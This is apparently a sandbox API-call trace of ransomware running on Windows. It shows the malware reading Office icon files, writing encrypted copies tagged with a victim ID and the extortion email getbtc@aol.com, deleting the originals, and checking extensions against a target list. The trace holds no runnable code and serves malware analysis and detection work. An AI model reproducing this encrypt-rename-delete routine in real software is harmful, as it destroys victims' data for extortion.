[0262.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.670] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0262.670] CloseHandle (hObject=0x3d8) returned 1 [0262.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 0x20 [0262.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.670] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.670] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.671] GetLastError () returned 0x0 [0262.671] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0262.673] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.673] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.673] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0262.673] SetEndOfFile (hFile=0x1f8) returned 1 [0262.674] CloseHandle (hObject=0x1f8) returned 1 [0262.674] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.674] SetEndOfFile (hFile=0x3d8) returned 1 [0262.676] CloseHandle (hObject=0x3d8) returned 1 [0262.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 1 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.676] lstrlenW (lpString=".doc") returned 4 [0262.677] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.677] lstrlenW (lpString=".docx") returned 5 [0262.677] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.677] lstrlenW (lpString=".pdf") returned 4 [0262.677] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString=".xls") returned 4 [0262.677] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString=".xlsx") returned 5 [0262.677] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.677] lstrlenW (lpString=".ppt") returned 4 [0262.677] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString=".zip") returned 4 [0262.677] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString=".rar") returned 4 [0262.677] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString=".bz2") returned 4 [0262.677] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.677] lstrlenW (lpString=".7z") returned 3 [0262.677] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString=".dbf") returned 4 [0262.677] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString=".1cd") returned 4 [0262.677] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString=".jpg") returned 4 [0262.677] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.677] lstrlenW (lpString=".doc") returned 4 [0262.677] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.677] lstrlenW (lpString=".docx") returned 5 [0262.677] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.678] lstrlenW (lpString=".pdf") returned 4 [0262.678] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.678] lstrlenW (lpString=".xls") returned 4 [0262.678] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.678] lstrlenW (lpString=".xlsx") returned 5 [0262.678] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.678] lstrlenW (lpString=".ppt") returned 4 [0262.678] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.678] lstrlenW (lpString=".zip") returned 4 [0262.678] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.678] lstrlenW (lpString=".rar") returned 4 [0262.678] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.678] lstrlenW (lpString=".bz2") returned 4 [0262.678] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.678] lstrlenW (lpString=".7z") returned 3 [0262.678] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.678] lstrlenW (lpString=".dbf") returned 4 [0262.678] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.678] lstrlenW (lpString=".1cd") returned 4 [0262.678] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0262.678] lstrlenW (lpString=".jpg") returned 4 [0262.678] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.679] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.679] lstrlenW (lpString="POSTS.ICO") returned 9 [0262.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.122] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0263.122] CloseHandle (hObject=0x388) returned 1 [0263.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico")) returned 0x20 [0263.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.124] GetLastError () returned 0x0 [0263.124] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.125] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.129] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.129] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0263.129] SetEndOfFile (hFile=0x3c4) returned 1 [0263.129] CloseHandle (hObject=0x3c4) returned 1 [0263.129] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.129] SetEndOfFile (hFile=0x388) returned 1 [0263.131] CloseHandle (hObject=0x388) returned 1 [0263.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico")) returned 1 [0263.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.132] lstrlenW (lpString=".doc") returned 4 [0263.132] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.132] lstrlenW (lpString=".docx") returned 5 [0263.132] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.132] lstrlenW (lpString=".pdf") returned 4 [0263.132] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.132] lstrlenW (lpString=".xls") returned 4 [0263.132] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.132] lstrlenW (lpString=".xlsx") returned 5 [0263.132] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.132] lstrlenW (lpString=".ppt") returned 4 [0263.132] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.132] lstrlenW (lpString=".zip") returned 4 [0263.132] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.132] lstrlenW (lpString=".rar") returned 4 [0263.132] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.132] lstrlenW (lpString=".bz2") returned 4 [0263.132] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.133] lstrlenW (lpString=".7z") returned 3 [0263.133] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".dbf") returned 4 [0263.133] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".1cd") returned 4 [0263.133] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".jpg") returned 4 [0263.133] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".doc") returned 4 [0263.133] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.133] lstrlenW (lpString=".docx") returned 5 [0263.133] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.133] lstrlenW (lpString=".pdf") returned 4 [0263.133] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString=".xls") returned 4 [0263.133] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString=".xlsx") returned 5 [0263.133] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.133] lstrlenW (lpString=".ppt") returned 4 [0263.133] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".zip") returned 4 [0263.133] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString=".rar") returned 4 [0263.133] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.133] lstrlenW (lpString=".bz2") returned 4 [0263.133] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.133] lstrlenW (lpString=".7z") returned 3 [0263.133] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.133] lstrlenW (lpString=".dbf") returned 4 [0263.133] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.134] lstrlenW (lpString=".1cd") returned 4 [0263.134] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0263.134] lstrlenW (lpString=".jpg") returned 4 [0263.134] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.134] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.134] lstrlenW (lpString="RSSITEMS.ICO") returned 12 [0263.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.134] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0263.134] CloseHandle (hObject=0x388) returned 1 [0263.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 0x20 [0263.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.135] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.136] GetLastError () returned 0x0 [0263.136] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.138] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.139] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.139] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.139] SetEndOfFile (hFile=0x3c4) returned 1 [0263.139] CloseHandle (hObject=0x3c4) returned 1 [0263.139] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.139] SetEndOfFile (hFile=0x388) returned 1 [0263.141] CloseHandle (hObject=0x388) returned 1 [0263.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 1 [0263.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.142] lstrlenW (lpString=".doc") returned 4 [0263.142] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.142] lstrlenW (lpString=".docx") returned 5 [0263.142] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.142] lstrlenW (lpString=".pdf") returned 4 [0263.142] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.142] lstrlenW (lpString=".xls") returned 4 [0263.142] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.142] lstrlenW (lpString=".xlsx") returned 5 [0263.143] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.143] lstrlenW (lpString=".ppt") returned 4 [0263.143] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString=".zip") returned 4 [0263.143] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString=".rar") returned 4 [0263.143] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString=".bz2") returned 4 [0263.143] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.143] lstrlenW (lpString=".7z") returned 3 [0263.143] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString=".dbf") returned 4 [0263.143] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString=".1cd") returned 4 [0263.143] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString=".jpg") returned 4 [0263.143] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.143] lstrlenW (lpString=".doc") returned 4 [0263.143] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.143] lstrlenW (lpString=".docx") returned 5 [0263.143] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.143] lstrlenW (lpString=".pdf") returned 4 [0263.143] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString=".xls") returned 4 [0263.143] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.143] lstrlenW (lpString=".xlsx") returned 5 [0263.143] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.143] lstrlenW (lpString=".ppt") returned 4 [0263.143] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.144] lstrlenW (lpString=".zip") returned 4 [0263.144] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.144] lstrlenW (lpString=".rar") returned 4 [0263.144] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.144] lstrlenW (lpString=".bz2") returned 4 [0263.144] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.144] lstrlenW (lpString=".7z") returned 3 [0263.144] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.144] lstrlenW (lpString=".dbf") returned 4 [0263.144] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.144] lstrlenW (lpString=".1cd") returned 4 [0263.144] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0263.144] lstrlenW (lpString=".jpg") returned 4 [0263.144] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.144] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.144] lstrlenW (lpString="SCDCNCLL.ICO") returned 12 [0263.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.145] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0263.145] CloseHandle (hObject=0x388) returned 1 [0263.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 0x20 [0263.145] GetFileAttributesW (lpFileName="C:\\Program 